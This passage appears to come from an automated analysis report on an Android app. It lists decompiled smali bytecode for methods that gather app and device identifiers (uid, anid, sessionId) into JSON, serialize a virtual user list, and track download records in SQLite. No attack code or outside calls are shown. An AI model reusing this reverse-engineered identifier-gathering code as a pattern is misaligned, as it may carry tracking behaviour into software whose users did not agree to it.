                              33const-string v1, "serial_num"
                              34const/4 v2, 0x4
                              36invoke-direct {v0, v1, v7, v2}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              37sput-object v0, Lb/a/ap;->p:Lb/a/bq;
                              38new-instance v0, Lb/a/bq;
                              40const-string v1, "ts_secs"
                              41const/4 v2, 0x5
                              43invoke-direct {v0, v1, v7, v2}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              44sput-object v0, Lb/a/ap;->q:Lb/a/bq;
                              45new-instance v0, Lb/a/bq;
                              47const-string v1, "length"
                              48const/4 v2, 0x6
                              50invoke-direct {v0, v1, v7, v2}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              51sput-object v0, Lb/a/ap;->r:Lb/a/bq;
                              52new-instance v0, Lb/a/bq;
                              54const-string v1, "entity"
                              55const/4 v2, 0x7
                              57invoke-direct {v0, v1, v5, v2}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              58sput-object v0, Lb/a/ap;->s:Lb/a/bq;
                              59new-instance v0, Lb/a/bq;
                              61const-string v1, "guid"
                              63invoke-direct {v0, v1, v5, v7}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              64sput-object v0, Lb/a/ap;->t:Lb/a/bq;
                              65new-instance v0, Lb/a/bq;
                              67const-string v1, "checksum"
                              68const/16 v2, 0x9
                              70invoke-direct {v0, v1, v5, v2}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              71sput-object v0, Lb/a/ap;->u:Lb/a/bq;
                              72new-instance v0, Lb/a/bq;
                              74const-string v1, "codex"
                              75const/16 v2, 0xa
                              77invoke-direct {v0, v1, v7, v2}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              78sput-object v0, Lb/a/ap;->v:Lb/a/bq;
                              79new-instance v0, Ljava/util/HashMap;
                              81invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                              82sput-object v0, Lb/a/ap;->w:Ljava/util/Map;
                              84sget-object v0, Lb/a/ap;->w:Ljava/util/Map;
                              85const-class v1, Lb/a/cd;
                              86new-instance v2, Lb/a/ap$b;
                              88invoke-direct {v2, v3}, Lb/a/ap$b;-><init>(Lb/a/ap$1;)V
                              90invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              92sget-object v0, Lb/a/ap;->w:Ljava/util/Map;
                              93const-class v1, Lb/a/ce;
                              94new-instance v2, Lb/a/ap$d;
                              96invoke-direct {v2, v3}, Lb/a/ap$d;-><init>(Lb/a/ap$1;)V
                              98invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              99new-instance v0, Ljava/util/EnumMap;
                              100const-class v1, Lb/a/ap$e;
                              102invoke-direct {v0, v1}, Ljava/util/EnumMap;-><init>(Ljava/lang/Class;)V
                              104sget-object v1, Lb/a/ap$e;->a:Lb/a/ap$e;
                              105new-instance v2, Lb/a/bj;
                              107const-string v3, "version"
                              108new-instance v4, Lb/a/bk;
                              110invoke-direct {v4, v5}, Lb/a/bk;-><init>(B)V
                              112invoke-direct {v2, v3, v6, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              114invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              116sget-object v1, Lb/a/ap$e;->b:Lb/a/ap$e;
                              117new-instance v2, Lb/a/bj;
                              119const-string v3, "address"
                              120new-instance v4, Lb/a/bk;
                              122invoke-direct {v4, v5}, Lb/a/bk;-><init>(B)V
                              124invoke-direct {v2, v3, v6, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              126invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              128sget-object v1, Lb/a/ap$e;->c:Lb/a/ap$e;
                              129new-instance v2, Lb/a/bj;
                              131const-string v3, "signature"
                              132new-instance v4, Lb/a/bk;
                              134invoke-direct {v4, v5}, Lb/a/bk;-><init>(B)V
                              136invoke-direct {v2, v3, v6, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              138invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              140sget-object v1, Lb/a/ap$e;->d:Lb/a/ap$e;
                              141new-instance v2, Lb/a/bj;
                              143const-string v3, "serial_num"
                              144new-instance v4, Lb/a/bk;
                              146invoke-direct {v4, v7}, Lb/a/bk;-><init>(B)V
                              148invoke-direct {v2, v3, v6, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              150invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              152sget-object v1, Lb/a/ap$e;->e:Lb/a/ap$e;
                              153new-instance v2, Lb/a/bj;
                              155const-string v3, "ts_secs"
                              156new-instance v4, Lb/a/bk;
                              158invoke-direct {v4, v7}, Lb/a/bk;-><init>(B)V
                              160invoke-direct {v2, v3, v6, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              162invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              164sget-object v1, Lb/a/ap$e;->f:Lb/a/ap$e;
                              165new-instance v2, Lb/a/bj;
                              167const-string v3, "length"
                              168new-instance v4, Lb/a/bk;
                              170invoke-direct {v4, v7}, Lb/a/bk;-><init>(B)V
                              172invoke-direct {v2, v3, v6, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              174invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              176sget-object v1, Lb/a/ap$e;->g:Lb/a/ap$e;
                              177new-instance v2, Lb/a/bj;
                              179const-string v3, "entity"
                              180new-instance v4, Lb/a/bk;
                              182invoke-direct {v4, v5, v6}, Lb/a/bk;-><init>(BZ)V
                              184invoke-direct {v2, v3, v6, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              186invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              188sget-object v1, Lb/a/ap$e;->h:Lb/a/ap$e;
                              189new-instance v2, Lb/a/bj;
                              191const-string v3, "guid"
                              192new-instance v4, Lb/a/bk;
                              194invoke-direct {v4, v5}, Lb/a/bk;-><init>(B)V
                              196invoke-direct {v2, v3, v6, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              198invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              200sget-object v1, Lb/a/ap$e;->i:Lb/a/ap$e;
                              201new-instance v2, Lb/a/bj;
                              203const-string v3, "checksum"
                              204new-instance v4, Lb/a/bk;
                              206invoke-direct {v4, v5}, Lb/a/bk;-><init>(B)V
                              208invoke-direct {v2, v3, v6, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              210invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              212sget-object v1, Lb/a/ap$e;->j:Lb/a/ap$e;
                              213new-instance v2, Lb/a/bj;
                              215const-string v3, "codex"
                              216new-instance v4, Lb/a/bk;
                              218invoke-direct {v4, v7}, Lb/a/bk;-><init>(B)V
                              220invoke-direct {v2, v3, v8, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              222invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              224invoke-static {v0}, Ljava/util/Collections;->unmodifiableMap(Ljava/util/Map;)Ljava/util/Map;
                              225move-result-object v0
                              226sput-object v0, Lb/a/ap;->k:Ljava/util/Map;
                              227const-class v0, Lb/a/ap;
                              229sget-object v1, Lb/a/ap;->k:Ljava/util/Map;
                              231invoke-static {v0, v1}, Lb/a/bj;->a(Ljava/lang/Class;Ljava/util/Map;)V
                              232return-void
                              APIs
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.toString
                              Strings
                              • appId
                              • channelId
                              • sessionId
                              • uid
                              • anid
                              • type
                              • sdkVersion
                              • bizType
                              • pid
                              • ct
                              • value
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v1, Lorg/json/JSONObject;
                              3invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                              4try_start_5:
                              5const-string/jumbo v0, "appId"
                              7invoke-virtual {p0}, Lsdk/nicro/lu/a;->d()Ljava/lang/String;
                              8move-result-object v2
                              10invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              12const-string/jumbo v0, "channelId"
                              14invoke-virtual {p0}, Lsdk/nicro/lu/a;->e()Ljava/lang/String;
                              15move-result-object v2
                              17invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              19const-string/jumbo v0, "sessionId"
                              21iget-object v2, p0, Lsdk/nicro/lu/a;->d:Ljava/lang/String;
                              23invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              25const-string/jumbo v0, "uid"
                              27invoke-virtual {p0}, Lsdk/nicro/lu/a;->c()Ljava/lang/String;
                              28move-result-object v2
                              30invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              32const-string/jumbo v0, "anid"
                              34iget-object v2, p0, Lsdk/nicro/lu/a;->l:Ljava/lang/String;
                              36invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              38const-string/jumbo v0, "type"
                              40invoke-virtual {p0}, Lsdk/nicro/lu/a;->b()Ljava/lang/String;
                              41move-result-object v2
                              43invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              45const-string/jumbo v0, "sdkVersion"
                              47invoke-virtual {p0}, Lsdk/nicro/lu/a;->f()Ljava/lang/String;
                              48move-result-object v2
                              50invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              52const-string/jumbo v0, "bizType"
                              54invoke-virtual {p0}, Lsdk/nicro/lu/a;->g()Ljava/lang/String;
                              55move-result-object v2
                              57invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              59const-string/jumbo v0, "pid"
                              61invoke-virtual {p0}, Lsdk/nicro/lu/a;->a()Ljava/lang/String;
                              62move-result-object v2
                              64invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              66const-string/jumbo v0, "ct"
                              67iget-wide v2, p0, Lsdk/nicro/lu/a;->n:J
                              69invoke-virtual {v1, v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                              71iget-object v0, p0, Lsdk/nicro/lu/a;->b:Lorg/json/JSONObject;
                              72if-eqz v0, :cond_6f
                              74const-string/jumbo v0, "value"
                              76iget-object v2, p0, Lsdk/nicro/lu/a;->b:Lorg/json/JSONObject;
                              78invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              79goto_6f:
                              80invoke-virtual {v1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              81move-result-object v0
                              82return-object v0
                              83catch_74: move-exception v0
                              85invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              86move-result-object v2
                              88invoke-interface {v2, v0}, Lsdk/nicro/lu/h;->a(Ljava/lang/Throwable;)V
                              89goto/16 :goto_6f
                              Cross References
                              APIs
                              • com.lody.virtual.server.pm.VUserManagerService.mUserListFile:Ljava/io/File
                              • java.io.BufferedOutputStream.<init>
                              • java.lang.Boolean.valueOf
                              • java.lang.Integer.toString
                              • java.lang.Integer.toString
                              • com.lody.virtual.server.pm.VUserManagerService.mUsers:Landroid/util/SparseArray
                              • android.util.SparseArray.size
                              • com.lody.virtual.server.pm.VUserManagerService.mUsers:Landroid/util/SparseArray
                              • android.util.SparseArray.valueAt
                              • java.lang.Integer.toString
                              Strings
                              • utf-8
                              • http://xmlpull.org/v1/doc/features.html#indent-output
                              • users
                              • nextSerialNumber
                              • version
                              • user
                              • id
                              • VUserManagerService
                              • Error writing user list
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x0
                              2const/4 v0, 0x0
                              3new-instance v4, Lcom/lody/virtual/helper/utils/AtomicFile;
                              5iget-object v1, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mUserListFile:Ljava/io/File;
                              7invoke-direct {v4, v1}, Lcom/lody/virtual/helper/utils/AtomicFile;-><init>(Ljava/io/File;)V
                              8try_start_9:
                              9invoke-virtual {v4}, Lcom/lody/virtual/helper/utils/AtomicFile;->startWrite()Ljava/io/FileOutputStream;
                              10try_end_c: move-result-object v1
                              11try_start_d: new-instance v0, Ljava/io/BufferedOutputStream;
                              13invoke-direct {v0, v1}, Ljava/io/BufferedOutputStream;-><init>(Ljava/io/OutputStream;)V
                              14new-instance v5, Lcom/lody/virtual/helper/utils/FastXmlSerializer;
                              16invoke-direct {v5}, Lcom/lody/virtual/helper/utils/FastXmlSerializer;-><init>()V
                              18const-string v2, "utf-8"
                              20invoke-interface {v5, v0, v2}, Lorg/xmlpull/v1/XmlSerializer;->setOutput(Ljava/io/OutputStream;Ljava/lang/String;)V
                              21const/4 v0, 0x0
                              22const/4 v2, 0x1
                              24invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              25move-result-object v2
                              27invoke-interface {v5, v0, v2}, Lorg/xmlpull/v1/XmlSerializer;->startDocument(Ljava/lang/String;Ljava/lang/Boolean;)V
                              29const-string v0, "http://xmlpull.org/v1/doc/features.html#indent-output"
                              30const/4 v2, 0x1
                              32invoke-interface {v5, v0, v2}, Lorg/xmlpull/v1/XmlSerializer;->setFeature(Ljava/lang/String;Z)V
                              33const/4 v0, 0x0
                              35const-string v2, "users"
                              37invoke-interface {v5, v0, v2}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
                              38const/4 v0, 0x0
                              40const-string v2, "nextSerialNumber"
                              41iget v6, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mNextSerialNumber:I
                              43invoke-static {v6}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                              44move-result-object v6
                              46invoke-interface {v5, v0, v2, v6}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
                              47const/4 v0, 0x0
                              49const-string v2, "version"
                              50iget v6, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mUserVersion:I
                              52invoke-static {v6}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                              53move-result-object v6
                              55invoke-interface {v5, v0, v2, v6}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
                              56move v2, v3
                              57goto_4a:
                              58iget-object v0, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mUsers:Landroid/util/SparseArray;
                              60invoke-virtual {v0}, Landroid/util/SparseArray;->size()I
                              61move-result v0
                              62if-ge v2, v0, :cond_76
                              64iget-object v0, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mUsers:Landroid/util/SparseArray;
                              66invoke-virtual {v0, v2}, Landroid/util/SparseArray;->valueAt(I)Ljava/lang/Object;
                              67move-result-object v0
                              68check-cast v0, Lcom/lody/virtual/os/VUserInfo;
                              69const/4 v6, 0x0
                              71const-string v7, "user"
                              73invoke-interface {v5, v6, v7}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
                              74const/4 v6, 0x0
                              76const-string v7, "id"
                              77iget v0, v0, Lcom/lody/virtual/os/VUserInfo;->id:I
                              79invoke-static {v0}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                              80move-result-object v0
                              82invoke-interface {v5, v6, v7, v0}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
                              83const/4 v0, 0x0
                              85const-string v6, "user"
                              87invoke-interface {v5, v0, v6}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
                              88add-int/lit8 v0, v2, 0x1
                              89move v2, v0
                              90goto/16 :goto_4a
                              91cond_76: const/4 v0, 0x0
                              93const-string v2, "users"
                              95invoke-interface {v5, v0, v2}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
                              97invoke-interface {v5}, Lorg/xmlpull/v1/XmlSerializer;->endDocument()V
                              99invoke-virtual {v4, v1}, Lcom/lody/virtual/helper/utils/AtomicFile;->finishWrite(Ljava/io/FileOutputStream;)V
                              100try_end_82: return-void
                              101catch_83: move-exception v1
                              102goto_84:
                              103invoke-virtual {v4, v0}, Lcom/lody/virtual/helper/utils/AtomicFile;->failWrite(Ljava/io/FileOutputStream;)V
                              105const-string v0, "VUserManagerService"
                              107const-string v1, "Error writing user list"
                              108new-array v2, v3, [Ljava/lang/Object;
                              110invoke-static {v0, v1, v2}, Lcom/lody/virtual/helper/utils/VLog;->e(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V
                              111goto/16 :goto_82
                              112catch_91: move-exception v0
                              113move-object v0, v1
                              114goto/16 :goto_84
                              Cross References
                              APIs
                              • com.omgSdk.a.a.b:Ljava/lang/String
                              • android.database.sqlite.SQLiteDatabase.query
                              • android.database.Cursor.moveToNext
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getLong
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getLong
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getInt
                              • android.database.Cursor.close
                              Strings
                              • fileName = ?
                              • length
                              • finished
                              • url
                              • version
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v9, 0x0
                              2const/4 v2, 0x0
                              4iget-object v1, p0, Lcom/omgSdk/a/a;->b:Ljava/lang/String;
                              6const-string/jumbo v3, "fileName = ?"
                              7const/4 v0, 0x1
                              8new-array v4, v0, [Ljava/lang/String;
                              9aput-object p2, v4, v9
                              10move-object v0, p1
                              11move-object v5, v2
                              12move-object v6, v2
                              13move-object v7, v2
                              14move-object v8, v2
                              16invoke-virtual/range {v0 .. v8}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                              17move-result-object v0
                              18if-eqz v0, :cond_64
                              19goto_17:
                              20invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
                              21move-result v1
                              22if-eqz v1, :cond_61
                              24const-string/jumbo v1, "length"
                              26invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              27move-result v1
                              29invoke-interface {v0, v1}, Landroid/database/Cursor;->getLong(I)J
                              30move-result-wide v4
                              32const-string/jumbo v1, "finished"
                              34invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              35move-result v1
                              37invoke-interface {v0, v1}, Landroid/database/Cursor;->getLong(I)J
                              38move-result-wide v6
                              40const-string/jumbo v1, "url"
                              42invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              43move-result v1
                              45invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              46move-result-object v1
                              48const-string/jumbo v2, "version"
                              50invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              51move-result v2
                              53invoke-interface {v0, v2}, Landroid/database/Cursor;->getInt(I)I
                              54move-result v3
                              55new-instance v2, Lcom/omgSdk/a/e;
                              57invoke-direct {v2}, Lcom/omgSdk/a/e;-><init>()V
                              59invoke-virtual {v2, v9}, Lcom/omgSdk/a/e;->a(Z)V
                              61invoke-virtual {v2, p2}, Lcom/omgSdk/a/e;->a(Ljava/lang/String;)V
                              63invoke-virtual {v2, v1}, Lcom/omgSdk/a/e;->b(Ljava/lang/String;)V
                              65invoke-virtual {v2, v4, v5}, Lcom/omgSdk/a/e;->a(J)V
                              67invoke-virtual {v2, v6, v7}, Lcom/omgSdk/a/e;->b(J)V
                              69invoke-virtual {v2, v3}, Lcom/omgSdk/a/e;->a(I)V
                              70goto/16 :goto_17
                              71cond_61:
                              72invoke-interface {v0}, Landroid/database/Cursor;->close()V
                              73cond_64: return-object v2
                              APIs
                              • b.a.ak$e.<init>
                              • b.a.ak$e.<init>
                              • b.a.ak$e.<init>
                              • b.a.ak$e.a:Lb/a/ak$e
                              • b.a.ak$e.b:Lb/a/ak$e
                              • b.a.ak$e.c:Lb/a/ak$e
                              • java.util.HashMap.<init>
                              • java.util.EnumSet.allOf
                              • java.util.EnumSet.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • b.a.ak$e.d:Ljava/util/Map
                              • b.a.ak$e.a
                              • java.util.Map.put
                              Strings
                              • IDENTITY
                              • identity
                              • TS
                              • ts
                              • VERSION
                              • version
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v6, 0x3
                              2const/4 v5, 0x0
                              3const/4 v4, 0x2
                              4const/4 v3, 0x1
                              5new-instance v0, Lb/a/ak$e;
                              7const-string v1, "IDENTITY"
                              9const-string v2, "identity"
                              11invoke-direct {v0, v1, v5, v3, v2}, Lb/a/ak$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              12sput-object v0, Lb/a/ak$e;->a:Lb/a/ak$e;
                              13new-instance v0, Lb/a/ak$e;
                              15const-string v1, "TS"
                              17const-string v2, "ts"
                              19invoke-direct {v0, v1, v3, v4, v2}, Lb/a/ak$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              20sput-object v0, Lb/a/ak$e;->b:Lb/a/ak$e;
                              21new-instance v0, Lb/a/ak$e;
                              23const-string v1, "VERSION"
                              25const-string v2, "version"
                              27invoke-direct {v0, v1, v4, v6, v2}, Lb/a/ak$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              28sput-object v0, Lb/a/ak$e;->c:Lb/a/ak$e;
                              29new-array v0, v6, [Lb/a/ak$e;
                              31sget-object v1, Lb/a/ak$e;->a:Lb/a/ak$e;
                              32aput-object v1, v0, v5
                              34sget-object v1, Lb/a/ak$e;->b:Lb/a/ak$e;
                              35aput-object v1, v0, v3
                              37sget-object v1, Lb/a/ak$e;->c:Lb/a/ak$e;
                              38aput-object v1, v0, v4
                              39sput-object v0, Lb/a/ak$e;->g:[Lb/a/ak$e;
                              40new-instance v0, Ljava/util/HashMap;
                              42invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                              43sput-object v0, Lb/a/ak$e;->d:Ljava/util/Map;
                              44const-class v0, Lb/a/ak$e;
                              46invoke-static {v0}, Ljava/util/EnumSet;->allOf(Ljava/lang/Class;)Ljava/util/EnumSet;
                              47move-result-object v0
                              49invoke-virtual {v0}, Ljava/util/EnumSet;->iterator()Ljava/util/Iterator;
                              50move-result-object v1
                              51goto_46:
                              52invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              53move-result v0
                              54if-eqz v0, :cond_5c
                              56invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              57move-result-object v0
                              58check-cast v0, Lb/a/ak$e;
                              60sget-object v2, Lb/a/ak$e;->d:Ljava/util/Map;
                              62invoke-virtual {v0}, Lb/a/ak$e;->a()Ljava/lang/String;
                              63move-result-object v3
                              65invoke-interface {v2, v3, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              66goto/16 :goto_46
                              67cond_5c: return-void
                              APIs
                              • b.a.am$e.<init>
                              • b.a.am$e.<init>
                              • b.a.am$e.<init>
                              • b.a.am$e.a:Lb/a/am$e
                              • b.a.am$e.b:Lb/a/am$e
                              • b.a.am$e.c:Lb/a/am$e
                              • java.util.HashMap.<init>
                              • java.util.EnumSet.allOf
                              • java.util.EnumSet.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • b.a.am$e.d:Ljava/util/Map
                              • b.a.am$e.a
                              • java.util.Map.put
                              Strings
                              • PROPERTY
                              • property
                              • VERSION
                              • version
                              • CHECKSUM
                              • checksum
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v6, 0x3
                              2const/4 v5, 0x0
                              3const/4 v4, 0x2
                              4const/4 v3, 0x1
                              5new-instance v0, Lb/a/am$e;
                              7const-string v1, "PROPERTY"
                              9const-string v2, "property"
                              11invoke-direct {v0, v1, v5, v3, v2}, Lb/a/am$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              12sput-object v0, Lb/a/am$e;->a:Lb/a/am$e;
                              13new-instance v0, Lb/a/am$e;
                              15const-string v1, "VERSION"
                              17const-string v2, "version"
                              19invoke-direct {v0, v1, v3, v4, v2}, Lb/a/am$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              20sput-object v0, Lb/a/am$e;->b:Lb/a/am$e;
                              21new-instance v0, Lb/a/am$e;
                              23const-string v1, "CHECKSUM"
                              25const-string v2, "checksum"
                              27invoke-direct {v0, v1, v4, v6, v2}, Lb/a/am$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              28sput-object v0, Lb/a/am$e;->c:Lb/a/am$e;
                              29new-array v0, v6, [Lb/a/am$e;
                              31sget-object v1, Lb/a/am$e;->a:Lb/a/am$e;
                              32aput-object v1, v0, v5
                              34sget-object v1, Lb/a/am$e;->b:Lb/a/am$e;
                              35aput-object v1, v0, v3
                              37sget-object v1, Lb/a/am$e;->c:Lb/a/am$e;
                              38aput-object v1, v0, v4
                              39sput-object v0, Lb/a/am$e;->g:[Lb/a/am$e;
                              40new-instance v0, Ljava/util/HashMap;
                              42invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                              43sput-object v0, Lb/a/am$e;->d:Ljava/util/Map;
                              44const-class v0, Lb/a/am$e;
                              46invoke-static {v0}, Ljava/util/EnumSet;->allOf(Ljava/lang/Class;)Ljava/util/EnumSet;
                              47move-result-object v0
                              49invoke-virtual {v0}, Ljava/util/EnumSet;->iterator()Ljava/util/Iterator;
                              50move-result-object v1
                              51goto_46:
                              52invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              53move-result v0
                              54if-eqz v0, :cond_5c
                              56invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              57move-result-object v0
                              58check-cast v0, Lb/a/am$e;
                              60sget-object v2, Lb/a/am$e;->d:Ljava/util/Map;
                              62invoke-virtual {v0}, Lb/a/am$e;->a()Ljava/lang/String;
                              63move-result-object v3
                              65invoke-interface {v2, v3, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              66goto/16 :goto_46
                              67cond_5c: return-void
                              Cross References
                              APIs
                              • android.content.ContentValues.<init>
                              • android.content.ContentValues.put
                              • android.content.ContentValues.put
                              • java.lang.Long.valueOf
                              • android.content.ContentValues.put
                              • java.lang.Long.valueOf
                              • android.content.ContentValues.put
                              • java.lang.Integer.valueOf
                              • android.content.ContentValues.put
                              • com.omgSdk.a.a.b:Ljava/lang/String
                              • android.database.sqlite.SQLiteDatabase.update
                              Strings
                              • fileName
                              • url
                              • length
                              • finished
                              • version
                              • fileName = ?
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Landroid/content/ContentValues;
                              3invoke-direct {v0}, Landroid/content/ContentValues;-><init>()V
                              5const-string/jumbo v1, "fileName"
                              7invoke-virtual {p2}, Lcom/omgSdk/a/e;->b()Ljava/lang/String;
                              8move-result-object v2
                              10invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                              12const-string/jumbo v1, "url"
                              14invoke-virtual {p2}, Lcom/omgSdk/a/e;->c()Ljava/lang/String;
                              15move-result-object v2
